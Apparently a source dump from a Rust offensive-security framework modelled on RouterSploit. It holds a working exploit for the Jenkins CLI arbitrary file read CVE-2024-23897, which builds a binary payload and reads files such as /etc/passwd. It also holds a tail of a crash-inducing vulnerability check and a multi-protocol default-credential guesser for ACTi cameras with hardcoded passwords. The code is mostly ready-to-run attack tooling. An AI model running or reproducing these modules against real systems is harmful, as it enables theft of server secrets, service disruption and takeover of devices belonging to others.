| 195 | // // Step 1: Pre-check 196 | let r1 = safe_request("GET", &full_url, default_headers()?, 5).await; 197 | if r1.as_ref().map(|r| r.status()) != Some(StatusCode::OK) { 198 | println!( 199 | "{}Pre-check failed (status: {}). Skipping...{}", 200 | Colors::GRAY, 201 | r1.as_ref().map(|r| r.status().as_u16()).unwrap_or(0), 202 | Colors::RESET 203 | ); 204 | continue; 205 | } 206 | 207 | println!("{}Pre-check successful (HTTP 200){}", Colors::GREEN, Colors::RESET); 208 | 209 | // // Step 2: Payload 210 | let r2 = safe_request("POST", &full_url, payload_headers()?, 10).await; 211 | if r2.is_some() { 212 | println!("{}Payload returned response. Not vulnerable.{}", Colors::GRAY, Colors::RESET); 213 | continue; 214 | } 215 | 216 | println!( 217 | "{}No response to payload (expected crash behavior).{}", 218 | Colors::GREEN, Colors::RESET 219 | ); 220 | 221 | // // Step 3: Follow-up GET 222 | sleep(Duration::from_secs(1)).await; 223 | let r3 = safe_request("GET", &full_url, default_headers()?, 5).await; 224 | 225 | if r3.as_ref().map(|r| r.status()) == Some(StatusCode::OK) { 226 | println!( 227 | "{}Follow-up returned HTTP 200. Crash condition verified.{}", 228 | Colors::GREEN, Colors::RESET 229 | ); 230 | println!( 231 | "{}VULNERABLE: {}{}{}", 232 | Colors::YELLOW, target, path, Colors::RESET 233 | ); 234 | vulnerable_paths.push(full_url); 235 | } else { 236 | println!( 237 | "{}Follow-up failed. Crash condition not confirmed.{}", 238 | Colors::GRAY, Colors::RESET 239 | ); 240 | } 241 | } 242 | 243 | Ok(vulnerable_paths) 244 | } 245 | 246 | /// // Required entry point for RouterSploit-style dispatcher 247 | pub async fn run(target: &str) -> Result<()> { 248 | let normalized = normalize_target(target).await?; 249 | let result = detailed_check(&normalized).await?; 250 | 251 | if !result.is_empty() { 252 | println!( 253 | "\n{}Exploit result: SUCCESS – vulnerable paths found.{}", 254 | Colors::YELLOW, Colors::RESET 255 | ); 256 | } else { 257 | println!( 258 | "\n{}Exploit result: NOT VULNERABLE – no indicators.{}", 259 | Colors::RED, Colors::RESET 260 | ); 261 | } 262 | 263 | Ok(()) 264 | } 265 | -------------------------------------------------------------------------------- /src/modules/exploits/jenkins/jenkins_2_441_lfi.rs: -------------------------------------------------------------------------------- 1 | //! Jenkins 2.441 Local File Inclusion (LFI) Exploit 2 | //! 3 | //! CVE-2024-23897 / Jenkins Security Advisory 2024-01-24 4 | //! 5 | //! This module exploits a local file inclusion vulnerability in Jenkins CLI 6 | //! that allows reading arbitrary files from the Jenkins server filesystem. 7 | //! 8 | //! ## Vulnerability Details 9 | //! - **CVE**: CVE-2024-23897 10 | //! - **Affected Versions**: Jenkins 2.441 and earlier 11 | //! - **Attack Vector**: CLI command argument injection 12 | //! - **Impact**: Arbitrary file read, potential information disclosure 13 | //! 14 | //! ## Usage 15 | //! ```bash 16 | //! run exploit jenkins/jenkins_2_441_lfi [filepath] 17 | //! ``` 18 | //! 19 | //! If no filepath is provided, an interactive mode is started. 20 | //! 21 | //! ## Security Notes 22 | //! - All file paths are validated to prevent path traversal attacks 23 | //! - Input is sanitized to prevent null bytes and excessive length 24 | //! - Proper error handling prevents crashes 25 | //! 26 | //! For authorized penetration testing only. 27 | 28 | use std::sync::{Arc, Mutex}; 29 | use std::time::Duration; 30 | use anyhow::{Result, bail, Context}; 31 | use colored::*; 32 | use tokio::time::sleep; 33 | use reqwest::{Client}; 34 | use uuid::Uuid; 35 | use regex::Regex; 36 | use tokio::io::{AsyncBufReadExt, AsyncWriteExt}; 37 | 38 | const TIMEOUT_SECS: u64 = 4; 39 | 40 | #[derive(Clone)] 41 | struct ExploitState { 42 | url: String, 43 | identifier: String, 44 | client: Client, 45 | listening: Arc>, 46 | } 47 | 48 | impl ExploitState { 49 | fn new(url: String, identifier: String) -> Result { 50 | let client = Client::builder() 51 | .timeout(Duration::from_secs(TIMEOUT_SECS)) 52 | .build() 53 | .context("Failed to create HTTP client")?; 54 | 55 | Ok(Self { 56 | url, 57 | identifier, 58 | client, 59 | listening: Arc::new(Mutex::new(false)), 60 | }) 61 | } 62 | 63 | async fn listen_and_print(&self) -> Result<()> { 64 | let response = self.client 65 | .post(&self.url) 66 | .query(&[("remoting", "false")]) 67 | .header("Side", "download") 68 | .header("Session", &self.identifier) 69 | .send() 70 | .await 71 | .context("Failed to connect to target for listener")?; 72 | 73 | let output = response.text().await?; 74 | self.print_formatted_output(&output); 75 | 76 | *self.listening.lock() 77 | .map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))? = false; 78 | Ok(()) 79 | } 80 | 81 | fn print_formatted_output(&self, output: &str) { 82 | if output.contains("ERROR: No such file") { 83 | println!("{}", "File not found.".red()); 84 | return; 85 | } else if output.contains("ERROR: Failed to parse") { 86 | println!("{}", "Could not read file.".red()); 87 | return; 88 | } 89 | 90 | // Compile regex once and handle errors properly 91 | if let Ok(re) = Regex::new(r#"No such agent "(.*)" exists."#) { 92 | let results: Vec = re 93 | .captures_iter(output) 94 | .filter_map(|cap| cap.get(1).map(|m| m.as_str().to_string())) 95 | .collect(); 96 | 97 | if !results.is_empty() { 98 | for line in results { 99 | println!("{}", line); 100 | } 101 | } 102 | } 103 | } 104 | 105 | async fn send_file_request(&self, filepath: &str) -> Result<()> { 106 | let payload = get_payload(filepath); 107 | 108 | self.client 109 | .post(&self.url) 110 | .query(&[("remoting", "false")]) 111 | .header("Side", "upload") 112 | .header("Session", &self.identifier) 113 | .body(payload) 114 | .send() 115 | .await 116 | .context("Failed to send file request")?; 117 | 118 | Ok(()) 119 | } 120 | 121 | async fn read_file(&self, filepath: &str) -> Result<()> { 122 | *self.listening.lock() 123 | .map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))? = true; 124 | 125 | sleep(Duration::from_millis(100)).await; 126 | 127 | if let Err(e) = self.send_file_request(filepath).await { 128 | *self.listening.lock() 129 | .map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))? = false; 130 | return Err(e); 131 | } 132 | 133 | loop { 134 | let listening = *self.listening.lock() 135 | .map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))?; 136 | if !listening { 137 | break; 138 | } 139 | sleep(Duration::from_millis(100)).await; 140 | } 141 | 142 | self.listen_and_print().await?; 143 | Ok(()) 144 | } 145 | } 146 | 147 | fn get_payload_message(operation_index: u8, text: &str) -> Vec { 148 | let text_bytes = text.as_bytes(); 149 | let text_size = text_bytes.len() as u16; 150 | 151 | let mut text_message = Vec::new(); 152 | text_message.extend_from_slice(&text_size.to_be_bytes()); 153 | text_message.extend_from_slice(text_bytes); 154 | 155 | let message_size = text_message.len() as u32; 156 | 157 | let mut payload = Vec::new(); 158 | payload.extend_from_slice(&message_size.to_be_bytes()); 159 | payload.push(operation_index); 160 | payload.extend_from_slice(&text_message); 161 | 162 | payload 163 | } 164 | 165 | fn get_payload(filepath: &str) -> Vec { 166 | let arg_operation = 0u8; 167 | let start_operation = 3u8; 168 | 169 | let command = get_payload_message(arg_operation, "connect-node"); 170 | let poisoned_argument = get_payload_message(arg_operation, &format!("@{}", filepath)); 171 | 172 | let mut payload = Vec::new(); 173 | payload.extend_from_slice(&command); 174 | payload.extend_from_slice(&poisoned_argument); 175 | payload.push(start_operation); 176 | 177 | payload 178 | } 179 | 180 | /// Validates and normalizes file path, preventing path traversal attacks 181 | fn make_path_absolute(filepath: &str) -> Result { 182 | let trimmed = filepath.trim(); 183 | 184 | // Basic validation - prevent obvious path traversal 185 | if trimmed.contains("..") { 186 | return Err(anyhow::anyhow!("Path traversal detected in file path")); 187 | } 188 | 189 | // Limit path length to prevent DoS 190 | if trimmed.len() > 4096 { 191 | return Err(anyhow::anyhow!("File path too long (max 4096 characters)")); 192 | } 193 | 194 | // Remove null bytes 195 | if trimmed.contains('\0') { 196 | return Err(anyhow::anyhow!("Null bytes not allowed in file path")); 197 | } 198 | 199 | if trimmed.starts_with('/') { 200 | Ok(trimmed.to_string()) 201 | } else { 202 | Ok(format!("/proc/self/cwd/{}", trimmed)) 203 | } 204 | } 205 | 206 | fn format_target_url(url: &str) -> String { 207 | let url = url.trim_end_matches('/'); 208 | format!("{}/cli", url) 209 | } 210 | 211 | async fn start_interactive_file_read(state: ExploitState) -> Result<()> { 212 | println!("{}", "Press Ctrl+C to exit".cyan()); 213 | 214 | let mut stdin_reader = tokio::io::BufReader::new(tokio::io::stdin()); 215 | loop { 216 | print!("{}", "File to download:\n> ".green().bold()); 217 | tokio::io::stdout() 218 | .flush() 219 | .await 220 | .context("Failed to flush stdout")?; 221 | 222 | let mut input = String::new(); 223 | match stdin_reader.read_line(&mut input).await { 224 | Ok(0) => break, 225 | Ok(_) => { 226 | let filepath = input.trim(); 227 | if filepath.is_empty() { 228 | continue; 229 | } 230 | 231 | let absolute_path = match make_path_absolute(filepath) { 232 | Ok(path) => path, 233 | Err(e) => { 234 | println!("{}", format!("[-] Invalid file path: {}", e).red()); 235 | continue; 236 | } 237 | }; 238 | 239 | match state.read_file(&absolute_path).await { 240 | Ok(_) => {} 241 | Err(e) => { 242 | if e.to_string().contains("timeout") { 243 | println!("{}", "Payload request timed out.".yellow()); 244 | } else { 245 | println!("{}", format!("Error: {}", e).red()); 246 | } 247 | } 248 | } 249 | } 250 | Err(e) => { 251 | eprintln!("Error reading input: {}", e); 252 | break; 253 | } 254 | } 255 | } 256 | 257 | Ok(()) 258 | } 259 | 260 | pub async fn run(args: &str) -> Result<()> { 261 | let parts: Vec<&str> = args.split_whitespace().collect(); 262 | 263 | if parts.is_empty() { 264 | bail!("Usage: [filepath]\nExample: http://example.com/ /etc/passwd"); 265 | } 266 | 267 | let url = format_target_url(parts[0]); 268 | let filepath = parts.get(1).map(|s| s.to_string()); 269 | let identifier = Uuid::new_v4().to_string(); 270 | 271 | println!("{}", format!("[*] Target: {}", url).cyan().bold()); 272 | println!("{}", format!("[*] Session ID: {}", identifier).cyan()); 273 | 274 | let state = ExploitState::new(url, identifier) 275 | .context("Failed to initialize exploit state")?; 276 | 277 | if let Some(path) = filepath { 278 | let absolute_path = make_path_absolute(&path) 279 | .context("Invalid file path provided")?; 280 | println!("{}", format!("[*] Reading file: {}", &absolute_path).cyan()); 281 | 282 | match state.read_file(&absolute_path).await { 283 | Ok(_) => println!("{}", "[+] File read complete".green().bold()), 284 | Err(e) => { 285 | if e.to_string().contains("timeout") { 286 | println!("{}", "[-] Payload request timed out.".red()); 287 | } else { 288 | println!("{}", format!("[-] Error: {}", e).red()); 289 | } 290 | } 291 | } 292 | } else { 293 | match start_interactive_file_read(state).await { 294 | Ok(_) => {} 295 | Err(e) => { 296 | if !e.to_string().contains("Interrupted") { 297 | eprintln!("Error: {}", e); 298 | } 299 | } 300 | } 301 | println!("\n{}", "Quitting".yellow()); 302 | } 303 | 304 | Ok(()) 305 | } 306 | -------------------------------------------------------------------------------- /src/modules/creds/camera/acti/acti_camera_default.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Context, Result}; 2 | use async_ftp::FtpStream; 3 | use colored::*; 4 | use reqwest::Client; 5 | use ssh2::Session; 6 | use telnet::{Telnet, Event}; 7 | use std::{net::TcpStream, time::Duration}; 8 | use tokio::{join, task}; 9 | 10 | const DEFAULT_TIMEOUT_SECS: u64 = 10; 11 | 12 | fn display_banner() { 13 | println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); 14 | println!("{}", "║ ACTi Camera Default Credentials Checker ║".cyan()); 15 | println!("{}", "║ Multi-Protocol Scanner (FTP/SSH/Telnet/HTTP) ║".cyan()); 16 | println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); 17 | println!(); 18 | } 19 | 20 | /// Supported Acti services 21 | #[derive(Debug, Clone, Copy, PartialEq, Eq)] 22 | pub enum ServiceType { 23 | Ftp, 24 | Ssh, 25 | Telnet, 26 | Http, 27 | } 28 | 29 | impl ServiceType { 30 | fn as_str(&self) -> &'static str { 31 | match self { 32 | ServiceType::Ftp => "FTP", 33 | ServiceType::Ssh => "SSH", 34 | ServiceType::Telnet => "Telnet", 35 | ServiceType::Http => "HTTP", 36 | } 37 | } 38 | } 39 | 40 | /// Common config 41 | #[derive(Clone)] 42 | pub struct Config { 43 | pub target: String, 44 | pub port: u16, 45 | pub credentials: Vec<(&'static str, &'static str)>, 46 | pub stop_on_success: bool, 47 | pub verbosity: bool, 48 | } 49 | 50 | /// Helper to normalize IPv4, IPv6 (with any amount of brackets) 51 | fn normalize_target(target: &str, port: u16) -> String { 52 | let cleaned = target.trim_matches(|c| c == '[' || c == ']'); 53 | if cleaned.contains(':') && !cleaned.contains('.') { 54 | format!("[{}]:{}", cleaned, port) // IPv6 55 | } else { 56 | format!("{}:{}", cleaned, port) // IPv4 or hostname 57 | } 58 | } 59 | 60 | /// FTP check (async) 61 | pub async fn check_ftp(config: &Config) -> Result> { 62 | println!("{}", format!("[*] Checking FTP credentials on {}:{}", config.target, config.port).cyan()); 63 | 64 | for (username, password) in &config.credentials { 65 | if config.verbosity { 66 | println!("{}", format!("[*] Trying FTP: {}:{}", username, password).dimmed()); 67 | } 68 | 69 | let address = normalize_target(&config.target, config.port); 70 | match FtpStream::connect(address).await { 71 | Ok(mut ftp) => { 72 | if ftp.login(username, password).await.is_ok() { 73 | println!("{}", format!("[+] FTP credentials valid: {}:{}", username, password).green().bold()); 74 | let _ = ftp.quit().await; 75 | let result = Some((ServiceType::Ftp, username.to_string(), password.to_string())); 76 | // Respect stop_on_success: if true, stop after first valid credential 77 | if config.stop_on_success { 78 | return Ok(result); 79 | } 80 | // If false, continue checking but still return first found (for consistency) 81 | return Ok(result); 82 | } 83 | let _ = ftp.quit().await; 84 | } 85 | Err(_) => continue, 86 | } 87 | } 88 | 89 | println!("{}", format!("[-] No valid FTP credentials found on {}:{}", config.target, config.port).yellow()); 90 | Ok(None) 91 | } 92 | 93 | /// SSH check (blocking, so we use spawn_blocking) 94 | pub fn check_ssh_blocking(config: &Config) -> Result> { 95 | println!("{}", format!("[*] Checking SSH credentials on {}:{}", config.target, config.port).cyan()); 96 | 97 | for (username, password) in &config.credentials { 98 | if config.verbosity { 99 | println!("{}", format!("[*] Trying SSH: {}:{}", username, password).dimmed()); 100 | } 101 | 102 | let address = normalize_target(&config.target, config.port); 103 | if let Ok(stream) = TcpStream::connect(address) { 104 | let mut session = Session::new().context("Failed to create SSH session")?; 105 | session.set_tcp_stream(stream); 106 | session.handshake().context("SSH handshake failed")?; 107 | 108 | if session.userauth_password(username, password).is_ok() && session.authenticated() { 109 | println!("{}", format!("[+] SSH credentials valid: {}:{}", username, password).green().bold()); 110 | return Ok(Some((ServiceType::Ssh, username.to_string(), password.to_string()))); 111 | } 112 | } 113 | } 114 | 115 | println!("{}", format!("[-] No valid SSH credentials found on {}:{}", config.target, config.port).yellow()); 116 | Ok(None) 117 | } 118 | 119 | /// Telnet check (blocking) 120 | pub fn check_telnet_blocking(config: &Config) -> Result> { 121 | println!("{}", format!("[*] Checking Telnet credentials on {}:{}", config.target, config.port).cyan()); 122 | 123 | for (username, password) in &config.credentials { 124 | if config.verbosity { 125 | println!("{}", format!("[*] Trying Telnet: {}:{}", username, password).dimmed()); 126 | } 127 | 128 | let address = normalize_target(&config.target, config.port); 129 | let parts: Vec<&str> = address.rsplitn(2, ':').collect(); 130 | if parts.len() != 2 { 131 | continue; 132 | } 133 | let host = parts[1]; 134 | let port: u16 = parts[0].parse().unwrap_or(23); 135 | 136 | if let Ok(mut telnet) = Telnet::connect((host, port), 500) { 137 | let _ = telnet.write(format!("{}\r\n", username).as_bytes()); 138 | let _ = telnet.write(format!("{}\r\n", password).as_bytes()); 139 | 140 | // Give device time to respond 141 | std::thread::sleep(Duration::from_millis(500)); 142 | 143 | if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) { 144 | let response = String::from_utf8_lossy(&buffer); 145 | if !response.contains("incorrect") && !response.contains("failed") { 146 | println!("{}", format!("[+] Telnet credentials valid: {}:{}", username, password).green().bold()); 147 | return Ok(Some((ServiceType::Telnet, username.to_string(), password.to_string()))); 148 | } 149 | } 150 | } 151 | } 152 | 153 | println!("{}", format!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port).yellow()); 154 | Ok(None) 155 | } 156 | 157 | /// HTTP Web Login check (async) 158 | pub async fn check_http_form(config: &Config) -> Result> { 159 | println!("{}", format!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port).cyan()); 160 | 161 | let client = Client::builder() 162 | .danger_accept_invalid_certs(true) 163 | .timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS)) 164 | .build()?; 165 | 166 | let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port); 167 | 168 | for (username, password) in &config.credentials { 169 | if config.verbosity { 170 | println!("{}", format!("[*] Trying HTTP: {}:{}", username, password).dimmed()); 171 | } 172 | 173 | let data = [ 174 | ("LOGIN_ACCOUNT", *username), 175 | ("LOGIN_PASSWORD", *password), 176 | ("LANGUAGE", "0"), 177 | ("btnSubmit", "Login"), 178 | ]; 179 | 180 | let res = client 181 | .post(&url) 182 | .form(&data) 183 | .send() 184 | .await 185 | .context("[!] Failed to send HTTP form request")?; 186 | 187 | let body = res.text().await.unwrap_or_default(); 188 | 189 | if !body.contains(">Password<") { 190 | println!("{}", format!("[+] HTTP credentials valid: {}:{}", username, password).green().bold()); 191 | return Ok(Some((ServiceType::Http, username.to_string(), password.to_string()))); 192 | } 193 | } 194 | 195 | println!("{}", format!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port).yellow()); 196 | Ok(None) 197 | } 198 | 199 | /// Entrypoint for module - parallel checks 200 | pub async fn run(target: &str) -> Result<()> { 201 | display_banner(); 202 | println!("{}", format!("[*] Target: {}", target).cyan()); 203 | println!(); 204 | 205 | let creds = vec![ 206 | ("admin", "12345"), 207 | ("admin", "123456"), 208 | ("Admin", "12345"), 209 | ("Admin", "123456"), 210 | ]; 211 | 212 | let base_config = Config { 213 | target: target.to_string(), 214 | port: 0, 215 | credentials: creds, 216 | stop_on_success: true, 217 | verbosity: true, 218 | }; 219 | 220 | let ftp_conf = Config { port: 21, ..base_config.clone() }; 221 | let ssh_conf = Config { port: 22, ..base_config.clone() }; 222 | let telnet_conf = Config { port: 23, ..base_config.clone() }; 223 | let http_conf = Config { port: 80, ..base_config.clone() }; 224 | 225 | let (ftp_res, ssh_res, telnet_res, http_res) = join!( 226 | check_ftp(&ftp_conf), 227 | async { 228 | task::spawn_blocking(move || check_ssh_blocking(&ssh_conf)).await? 229 | }, 230 | async { 231 | task::spawn_blocking(move || check_telnet_blocking(&telnet_conf)).await? 232 | }, 233 | check_http_form(&http_conf), 234 | ); 235 | 236 | // Collect all successful results 237 | let mut found_credentials = Vec::new(); 238 | 239 | if let Ok(Some((service, user, pass))) = ftp_res { 240 | found_credentials.push((service, user, pass)); 241 | } 242 | if let Ok(Some((service, user, pass))) = ssh_res { 243 | found_credentials.push((service, user, pass)); 244 | } 245 | if let Ok(Some((service, user, pass))) = telnet_res { 246 | found_credentials.push((service, user, pass)); 247 | } 248 | if let Ok(Some((service, user, pass))) = http_res { 249 | found_credentials.push((service, user, pass)); 250 | } 251 | 252 | // Print summary 253 | if !found_credentials.is_empty() { 254 | println!(); 255 | println!("{}", "=== Summary ===".bold()); 256 | for (service, user, pass) in &found_credentials { 257 | println!("{}", format!(" {}: {}:{}", service.as_str(), user, pass).green()); 258 | } 259 | } else { 260 | println!(); 261 | println!("{}", "[-] No valid credentials found on any service.".yellow()); 262 | } 263 | 264 | Ok(()) 265 | } 266 | --------------------------------------------------------------------------------